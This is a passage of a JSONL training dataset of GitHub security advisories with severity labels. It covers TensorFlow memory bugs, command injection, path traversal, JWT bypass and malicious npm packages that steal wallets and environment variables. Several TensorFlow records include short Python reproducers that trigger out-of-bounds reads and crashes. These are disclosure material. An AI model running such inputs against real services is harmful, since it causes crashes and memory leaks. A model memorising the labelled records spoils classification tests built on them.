1852793632]], dtype=int32)>\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Lack of validation in data format attributes in TensorFlow\n\n[Severity: LOW]\n\n### Impact\nThe `tf.raw_ops.DataFormatVecPermute` API does not validate the `src_format` and `dst_format` attributes. [The code](https://github.com/tensorflow/tensorflow/blob/304b96815324e6a73d046df10df6626d63ac12ad/tensorflow/core/kernels/data_format_ops.cc) assumes that these two arguments define a permutation of `NHWC`.\n\nHowever, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.\n\n```python\n>>> import tensorflow as tf\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')\n<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], \n                                    src_format='1234', dst_format='1253')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1234', dst_format='1223')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='1224', dst_format='1423')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')\n<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],\n                                    src_format='12345678', dst_format='87654321')\nmunmap_chunk(): invalid pointer\nAborted\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           \n                                    src_format='12345678', dst_format='87654321')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[71364624,        0],\n       [71365824,        0],\n       [     560,        0],\n       [      48,        0]], dtype=int32)>\n...\n>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], \n                                    src_format='12345678', dst_format='87654321')\nfree(): invalid next size (fast)\nAborted\n```\n\nA similar issue occurs in `tf.raw_ops.DataFormatDimMap`, for the same reasons:\n\n```python\n>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',\n>>> dst_format='8765')\n<tf.Tensor: shape=(4, 2), dtype=int32, numpy=\narray([[1954047348, 1954047348],\n       [1852793646, 1852793646],\n       [1954047348, 1954047348],\n       [1852793632, 1852793632]], dtype=int32)>\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ebc70b7a592420d3d2f359e4b1694c236b82c7ae](https://github.com/tensorflow/tensorflow/commit/ebc70b7a592420d3d2f359e4b1694c236b82c7ae) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "365a927bc39455a1d03f", "text": "Logic error in authentication in proxy.py\n\nbefore_upstream_connection in AuthPlugin in http/proxy/auth.py in proxy.py before 2.3.1 accepts incorrect Proxy-Authorization header data because of a boolean confusion (and versus or).", "text_raw": "Logic error in authentication in proxy.py\n\n[Severity: HIGH]\n\nbefore_upstream_connection in AuthPlugin in http/proxy/auth.py in proxy.py before 2.3.1 accepts incorrect Proxy-Authorization header data because of a boolean confusion (and versus or).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "56316c978aca3cfcb8d8", "text": "Malicious Package in path-to-regxep\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in path-to-regxep\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5f285bf8504b1a042888", "text": "Directory Traversal in Archive_Tar\n\nIn Archive_Tar before 1.4.14, symlinks can refer to targets outside of the extracted archive, a different vulnerability than CVE-2020-36193.", "text_raw": "Directory Traversal in Archive_Tar\n\n[Severity: HIGH]\n\nIn Archive_Tar before 1.4.14, symlinks can refer to targets outside of the extracted archive, a different vulnerability than CVE-2020-36193.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "4a1bb7de5f8010837af7", "text": "Arbitrary File Write in npm\n\nVersions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It fails to prevent access to folders outside of the intended node_modules folder through the bin field. A properly constructed entry in the package.json bin field would allow a package publisher to create files on a user's system when the package is installed. It is only possible to affect files that the user running `npm install` has access to and it is not possible to over write files that already exist on disk.\n\nThis behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n## Recommendation\n\nUpgrade to version 6.13.3 or later.", "text_raw": "Arbitrary File Write in npm\n\n[Severity: HIGH]\n\nVersions of the npm CLI prior to 6.13.3 are vulnerable to an Arbitrary File Write. It fails to prevent access to folders outside of the intended node_modules folder through the bin field. A properly constructed entry in the package.json bin field would allow a package publisher to create files on a user's system when the package is installed. It is only possible to affect files that the user running `npm install` has access to and it is not possible to over write files that already exist on disk.\n\nThis behavior is still possible through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n\n## Recommendation\n\nUpgrade to version 6.13.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-13", "split": "train"}
-{"id": "2ac680c1b9fffa4ad97b", "text": "Downloads Resources over HTTP in roslib-socketio\n\nAffected versions of `roslib-socketio` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `roslib-socketio`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in roslib-socketio\n\n[Severity: HIGH]\n\nAffected versions of `roslib-socketio` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `roslib-socketio`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "be46784508ca94ec9e5b", "text": "Signature Verification Bypass in jwt-simple\n\nVersions of `jwt-simple` prior to 0.5.3 are vulnerable to Signature Verification Bypass. If no algorithm is specified in the `decode()` function, the packages uses the algorithm in the JWT to decode tokens. This allows an attacker to create a HS256 (symmetric algorithm) JWT with the server's public key as secret, and the package will verify it as HS256 instead of RS256 (asymmetric algorithm).\n\n## Recommendation\n\nUpgrade to version 0.5.3 or later.", "text_raw": "Signature Verification Bypass in jwt-simple\n\n[Severity: HIGH]\n\nVersions of `jwt-simple` prior to 0.5.3 are vulnerable to Signature Verification Bypass. If no algorithm is specified in the `decode()` function, the packages uses the algorithm in the JWT to decode tokens. This allows an attacker to create a HS256 (symmetric algorithm) JWT with the server's public key as secret, and the package will verify it as HS256 instead of RS256 (asymmetric algorithm).\n\n\n## Recommendation\n\nUpgrade to version 0.5.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "912c18754e30147dad67", "text": "actionpack Improper Authentication vulnerability\n\nThe `decode_credentials` method in `actionpack/lib/action_controller/metal/http_authentication.rb` in Ruby on Rails before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts Digest Authentication strings to symbols, which allows remote attackers to cause a denial of service by leveraging access to an application that uses a `with_http_digest` helper method, as demonstrated by the `authenticate_or_request_with_http_digest` method.", "text_raw": "actionpack Improper Authentication vulnerability\n\n[Severity: MEDIUM]\n\nThe `decode_credentials` method in `actionpack/lib/action_controller/metal/http_authentication.rb` in Ruby on Rails before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts Digest Authentication strings to symbols, which allows remote attackers to cause a denial of service by leveraging access to an application that uses a `with_http_digest` helper method, as demonstrated by the `authenticate_or_request_with_http_digest` method.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3292b0bcb2fbdc4d9fbc", "text": "postfix-mta-sts-resolver Algorithm Downgrade vulnerability\n\n## Incorrect query parsing\n\n### Impact\nAll users of versions prior to 0.5.1 can receive incorrect response from daemon under rare conditions, rendering downgrade of effective STS policy.\n\n### Patches\nProblem has been patched in version 0.5.1\n\n### Workarounds\nUsers may remediate this vulnerability without upgrading by applying [these patches](https://gist.github.com/Snawoot/b9da85d6b26dea5460673b29df1adc6b) to older suppoorted versions.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [postfix-mta-sts-resolver repo](https://github.com/Snawoot/postfix-mta-sts-resolver)\n* Email me at [vladislav at vm-0 dot com](mailto:vladislav-ex-gh-advisory@vm-0.com)", "text_raw": "postfix-mta-sts-resolver Algorithm Downgrade vulnerability\n\n[Severity: HIGH]\n\n## Incorrect query parsing\n\n### Impact\nAll users of versions prior to 0.5.1 can receive incorrect response from daemon under rare conditions, rendering downgrade of effective STS policy.\n\n### Patches\nProblem has been patched in version 0.5.1\n\n### Workarounds\nUsers may remediate this vulnerability without upgrading by applying [these patches](https://gist.github.com/Snawoot/b9da85d6b26dea5460673b29df1adc6b) to older suppoorted versions.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [postfix-mta-sts-resolver repo](https://github.com/Snawoot/postfix-mta-sts-resolver)\n* Email me at [vladislav at vm-0 dot com](mailto:vladislav-ex-gh-advisory@vm-0.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "f6287cd6ecabb98e9058", "text": "Command Injection in macaddress\n\nWithdrawn: Duplicate of GHSA-pp57-mqmh-44h7", "text_raw": "Command Injection in macaddress\n\n[Severity: HIGH]\n\nWithdrawn: Duplicate of GHSA-pp57-mqmh-44h7", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "514add44355ac740b7e9", "text": "Path Traversal in DKPro Core\n\ncore/api/datasets/internal/actions/Explode.java in the Dataset API in DKPro Core through 1.10.0 allows Directory Traversal, resulting in the overwrite of local files with the contents of an archive.", "text_raw": "Path Traversal in DKPro Core\n\n[Severity: HIGH]\n\ncore/api/datasets/internal/actions/Explode.java in the Dataset API in DKPro Core through 1.10.0 allows Directory Traversal, resulting in the overwrite of local files with the contents of an archive.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "14e5b8f1fd5e7ce08d2e", "text": "Arbitrary Code Execution in mathjs\n\nmath.js before 3.17.0 had an issue where private properties such as a constructor could be replaced by using unicode characters when creating an object.\n\n## Recommendation\n\nUpgrade to version 3.17.0 or later.", "text_raw": "Arbitrary Code Execution in mathjs\n\n[Severity: CRITICAL]\n\nmath.js before 3.17.0 had an issue where private properties such as a constructor could be replaced by using unicode characters when creating an object.\n\n\n## Recommendation\n\nUpgrade to version 3.17.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-12-18", "split": "train"}
-{"id": "cf1aeac222dc5f165bbe", "text": "Apache Camel XML External Entity vulnerability\n\nXML external entity (XXE) vulnerability in the XML converter setup in converter/jaxp/XmlConverter.java in Apache Camel before 2.13.4 and 2.14.x before 2.14.2 allows remote attackers to read arbitrary files via an external entity in an SAXSource.", "text_raw": "Apache Camel XML External Entity vulnerability\n\n[Severity: MEDIUM]\n\nXML external entity (XXE) vulnerability in the XML converter setup in converter/jaxp/XmlConverter.java in Apache Camel before 2.13.4 and 2.14.x before 2.14.2 allows remote attackers to read arbitrary files via an external entity in an SAXSource.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "a0d34c98669b539c02c0", "text": "Haraka version 2.8.8 and earlier comes with a plugin for processing attachments for zip files. Versions 2.8.8 and earlier can be vulnerable to command injection.", "text_raw": "Critical severity vulnerability that affects Haraka\n\n[Severity: CRITICAL]\n\nHaraka version 2.8.8 and earlier comes with a plugin for processing attachments for zip files. Versions 2.8.8 and earlier can be vulnerable to command injection.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-12", "split": "train"}
-{"id": "76b2f643f75d696f8acc", "text": "sqlserver is malware\n\nThe `sqlserver` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "sqlserver is malware\n\n[Severity: HIGH]\n\nThe `sqlserver` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "5bd10dd74c727ff68f60", "text": "Infinite loop in TFLite\n\n### Impact\nThe strided slice implementation in TFLite has a logic bug which can allow an attacker to trigger an infinite loop. This arises from newly introduced support for [ellipsis in axis definition](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/strided_slice.cc#L103-L122):\n\n```cc\n  for (int i = 0; i < effective_dims;) {\n    if ((1 << i) & op_context->params->ellipsis_mask) {\n      // ...\n      int ellipsis_end_idx =\n          std::min(i + 1 + num_add_axis + op_context->input_dims - begin_count,\n                   effective_dims);\n      // ...\n      for (; i < ellipsis_end_idx; ++i) {\n        // ...\n      }\n      continue;\n    }\n    // ...\n    ++i;\n  }\n```\n\nAn attacker can craft a model such that `ellipsis_end_idx` is smaller than `i` (e.g., always negative). In this case, the inner loop does not increase `i` and the `continue` statement causes execution to skip over the preincrement at the end of the outer loop.\n\n### Patches\nWe have patched the issue in GitHub commit [dfa22b348b70bb89d6d6ec0ff53973bacb4f4695](https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695).\n\nThe fix will be included in TensorFlow 2.6.0. This is the only affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Infinite loop in TFLite\n\n[Severity: MEDIUM]\n\n### Impact\nThe strided slice implementation in TFLite has a logic bug which can allow an attacker to trigger an infinite loop. This arises from newly introduced support for [ellipsis in axis definition](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/strided_slice.cc#L103-L122):\n\n```cc\n  for (int i = 0; i < effective_dims;) {\n    if ((1 << i) & op_context->params->ellipsis_mask) {\n      // ...\n      int ellipsis_end_idx =\n          std::min(i + 1 + num_add_axis + op_context->input_dims - begin_count,\n                   effective_dims);\n      // ...\n      for (; i < ellipsis_end_idx; ++i) {\n        // ...\n      }\n      continue;\n    }\n    // ...\n    ++i;\n  }\n```\n\nAn attacker can craft a model such that `ellipsis_end_idx` is smaller than `i` (e.g., always negative). In this case, the inner loop does not increase `i` and the `continue` statement causes execution to skip over the preincrement at the end of the outer loop.\n\n### Patches\nWe have patched the issue in GitHub commit [dfa22b348b70bb89d6d6ec0ff53973bacb4f4695](https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695).\n\nThe fix will be included in TensorFlow 2.6.0. This is the only affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c3ca972df50adb8d23f5", "text": "OOB read in `MatrixTriangularSolve`\n\n### Impact\nThe implementation of [`MatrixTriangularSolve`](https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240) fails to terminate kernel execution if one validation condition fails:\n\n```cc\nvoid ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0,\n                            const Tensor& in1) override {\n  OP_REQUIRES(\n      ctx, in0.dims() >= 2,\n      errors::InvalidArgument(\"In[0] ndims must be >= 2: \", in0.dims()));\n\nOP_REQUIRES(\n      ctx, in1.dims() >= 2,\n      errors::InvalidArgument(\"In[0] ndims must be >= 2: \", in1.dims()));\n}\n\nvoid Compute(OpKernelContext* ctx) override {\n  const Tensor& in0 = ctx->input(0);\n  const Tensor& in1 = ctx->input(1);\n\nValidateInputTensors(ctx, in0, in1);\n\nMatMulBCast bcast(in0.shape().dim_sizes(), in1.shape().dim_sizes());\n  ...\n}\n```\n\nSince `OP_REQUIRES` only sets `ctx->status()` to a non-OK value and calls `return`, this allows malicious attackers to trigger an out of bounds read:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nmatrix_array = np.array([])\nmatrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(1,0)),dtype=tf.float32)\nrhs_array = np.array([])\nrhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(0,1)),dtype=tf.float32)\n\ntf.raw_ops.MatrixTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor,lower=False,adjoint=False)\n```\n\nAs the two input tensors are empty, the `OP_REQUIRES` in `ValidateInputTensors` should fire and interrupt execution. However, given the implementation of `OP_REQUIRES`, after the `in0.dims() >= 2` fails, execution moves to the initialization of the `bcast` object. This initialization is done with invalid data and results in heap OOB read.\n\n### Patches\nWe have patched the issue in GitHub commit [480641e3599775a8895254ffbc0fc45621334f68](https://github.com/tensorflow/tensorflow/commit/480641e3599775a8895254ffbc0fc45621334f68).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.", "text_raw": "OOB read in `MatrixTriangularSolve`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of [`MatrixTriangularSolve`](https://github.com/tensorflow/tensorflow/blob/8cae746d8449c7dda5298327353d68613f16e798/tensorflow/core/kernels/linalg/matrix_triangular_solve_op_impl.h#L160-L240) fails to terminate kernel execution if one validation condition fails:\n\n```cc\nvoid ValidateInputTensors(OpKernelContext* ctx, const Tensor& in0,\n                            const Tensor& in1) override {\n  OP_REQUIRES(\n      ctx, in0.dims() >= 2,\n      errors::InvalidArgument(\"In[0] ndims must be >= 2: \", in0.dims()));\n\n  OP_REQUIRES(\n      ctx, in1.dims() >= 2,\n      errors::InvalidArgument(\"In[0] ndims must be >= 2: \", in1.dims()));\n}\n  \nvoid Compute(OpKernelContext* ctx) override {\n  const Tensor& in0 = ctx->input(0);\n  const Tensor& in1 = ctx->input(1);\n\n  ValidateInputTensors(ctx, in0, in1);\n\n  MatMulBCast bcast(in0.shape().dim_sizes(), in1.shape().dim_sizes());\n  ...\n}\n```\n  \nSince `OP_REQUIRES` only sets `ctx->status()` to a non-OK value and calls `return`, this allows malicious attackers to trigger an out of bounds read:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nmatrix_array = np.array([])\nmatrix_tensor = tf.convert_to_tensor(np.reshape(matrix_array,(1,0)),dtype=tf.float32)\nrhs_array = np.array([])\nrhs_tensor = tf.convert_to_tensor(np.reshape(rhs_array,(0,1)),dtype=tf.float32)\n\ntf.raw_ops.MatrixTriangularSolve(matrix=matrix_tensor,rhs=rhs_tensor,lower=False,adjoint=False)\n```\n\nAs the two input tensors are empty, the `OP_REQUIRES` in `ValidateInputTensors` should fire and interrupt execution. However, given the implementation of `OP_REQUIRES`, after the `in0.dims() >= 2` fails, execution moves to the initialization of the `bcast` object. This initialization is done with invalid data and results in heap OOB read.\n\n### Patches\nWe have patched the issue in GitHub commit [480641e3599775a8895254ffbc0fc45621334f68](https://github.com/tensorflow/tensorflow/commit/480641e3599775a8895254ffbc0fc45621334f68).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "d74fc7f25ea69fef17f7", "text": "Command Injection in node-df\n\nAll versions of `node-df` are vulnerable to Command Injection. The package fails to sanitize filenames passed to the  `file` option. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in node-df\n\n[Severity: CRITICAL]\n\nAll versions of `node-df` are vulnerable to Command Injection. The package fails to sanitize filenames passed to the  `file` option. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-14", "split": "train"}
-{"id": "4bbc881ca2dd6f63e6c1", "text": "Potential Session Hijacking\n\n### Impact\nPotential session hijacking of store customers.\n\n### Patches\nWe recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-03-2021", "text_raw": "Potential Session Hijacking\n\n[Severity: LOW]\n\n### Impact\nPotential session hijacking of store customers.\n\n### Patches\nWe recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-03-2021", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "2e3b63e16ebd0cbd3fcf", "text": "Improper Control of Generation of Code ('Code Injection') in org.apache.activemq:activemq-client\n\nIn Apache ActiveMQ 5.0.0 - 5.15.8, unmarshalling corrupt MQTT frame can lead to broker Out of Memory exception making it unresponsive.", "text_raw": "Improper Control of Generation of Code ('Code Injection') in org.apache.activemq:activemq-client\n\n[Severity: HIGH]\n\nIn Apache ActiveMQ 5.0.0 - 5.15.8, unmarshalling corrupt MQTT frame can lead to broker Out of Memory exception making it unresponsive.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-02", "split": "train"}
-{"id": "0a68bebf338e030afa09", "text": "Directory Traversal vulnerability in Square Retrofit\n\nSquare Retrofit versions from (including) 2.0 to 2.5.0 (excluding) contain a Directory Traversal vulnerability in RequestBuilder class, method addPathParameter. By manipulating the URL an attacker could add or delete resources otherwise unavailable to her. This attack appears to be exploitable via an encoded path parameter on POST, PUT or DELETE request. This vulnerability appears to have been fixed in 2.5.0 and later.", "text_raw": "Directory Traversal vulnerability in Square Retrofit\n\n[Severity: HIGH]\n\nSquare Retrofit versions from (including) 2.0 to 2.5.0 (excluding) contain a Directory Traversal vulnerability in RequestBuilder class, method addPathParameter. By manipulating the URL an attacker could add or delete resources otherwise unavailable to her. This attack appears to be exploitable via an encoded path parameter on POST, PUT or DELETE request. This vulnerability appears to have been fixed in 2.5.0 and later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "ee10af6c4ed1b8f1823f", "text": "Data races in generator\n\nThe `Generator` type is an iterable which uses a generator function that yields\nvalues. In affected versions of the crate, the provided function yielding values\nhad no `Send` bounds despite the `Generator` itself implementing `Send`.\n\nThe generator function lacking a `Send` bound means that types that are\ndangerous to send across threads such as `Rc` could be sent as part of a\ngenerator, potentially leading to data races.\n\nThis flaw was fixed in commit [`f7d120a3b`](https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0)\nby enforcing that the generator function be bound by `Send`.", "text_raw": "Data races in generator\n\n[Severity: MEDIUM]\n\nThe `Generator` type is an iterable which uses a generator function that yields\nvalues. In affected versions of the crate, the provided function yielding values\nhad no `Send` bounds despite the `Generator` itself implementing `Send`.\n\nThe generator function lacking a `Send` bound means that types that are\ndangerous to send across threads such as `Rc` could be sent as part of a\ngenerator, potentially leading to data races.\n\nThis flaw was fixed in commit [`f7d120a3b`](https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0)\nby enforcing that the generator function be bound by `Send`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "bb4a96f543da9181656d", "text": "FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit", "text_raw": "FaceSentry Access Control System 6.4.8 Remote SSH Root Access Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
